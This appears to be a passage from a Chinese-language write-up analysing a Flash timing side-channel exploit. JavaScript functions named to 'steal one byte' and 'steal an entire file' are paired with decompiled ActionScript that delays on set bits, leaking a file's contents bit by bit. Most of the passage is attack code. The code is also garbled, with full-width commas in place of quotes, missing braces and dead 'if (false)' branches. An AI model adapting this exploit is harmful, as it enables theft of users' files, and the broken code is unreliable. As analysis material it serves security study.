/* check the response time of flash */
function ping(cb) {
var l;
window.addEventListener(，message，, l = function(e) {
window.removeEventListener(，message，, l);
//console.log(，got delay ，+e.data.delay)
cb(e.data.delay);
});
document.getElementById(，ifr，).contentWindow.postMessage(，ping，, ，*，);
}
/* steal one byte */
function getbyte(path, char, cb) {
var byte = 0;
var mask = 1;
function getbyte_() {
//console.log(，getbyte_ mask=，+mask)
getbit(path, char, mask, function(is_set) {
//根据mask的那一bit为1，决定读取char中的某一bit位
//console.log(，mask=，+mask+， set=，+is_set);
if (is_set) byte |= mask;
if (mask == 0x80) return cb(String.fromCharCode(byte));
mask <<= 1;
getbyte_();
});
/* steal an entire file */
function run() {
var path = document.getElementById(，path，).value;
console.log(，path=，+path)
var i = 0;
var text = ，，;
function run_() {//其实这里应该有个判断文件长度的，当然应该由swf文件把文件长度信息返回回来
getbyte(path, i, function(char) {
console.log(，got char: ，+char)
text += char;
i++;
document.getElementById(，out，).innerText = text;
run_();
});
}
run_();
}
从作者给的html文件中提前swf后反编译，反编译后在swf脚本下有class_writer这一项：
3.jpg
里面的主要两个函数的代码：
public static function completeHandler(arg1:flash.events.Event):void
{
var loc1:*=0;
if ((Writer.loader.data.charCodeAt(Writer.char) & Writer.mask) != 0)
{//该bit位为1则循环，因此会出现延迟
loc1 = flash.utils.getTimer() + 400;
do
{
}
while (flash.utils.getTimer() < loc1);
}
return;
}
public static function main():void
{
Writer.timer = new haxe.Timer(1);
Writer.timer.run = function ():void
{
var loc1:*;
var loc2:*=null;
var loc3:*=undefined as null;
var loc4:*=undefined as null;
if (flash.Lib.current.stage != null)
{
false;
}
if (false)
{
Writer.timer.stop();
loc2 = flash.Lib.current.loaderInfo.parameters;
Writer.path = loc2.path;//文件路径
Writer.char = Std.parseInt(loc2.char);//获取哪一字节的数据
Writer.mask = Std.parseInt(loc2.mask);//与之按位与，可确定获取的bit位的值
loc3 = new flash.net.URLRequest(Writer.path);
Writer.loader = new flash.net.URLLoader();
Writer.loader.addEventListener(flash.events.Event.COMPLETE, Writer.completeHandler);
}
return;
}
return;
}
Frame中嵌入的html文件的js代码：
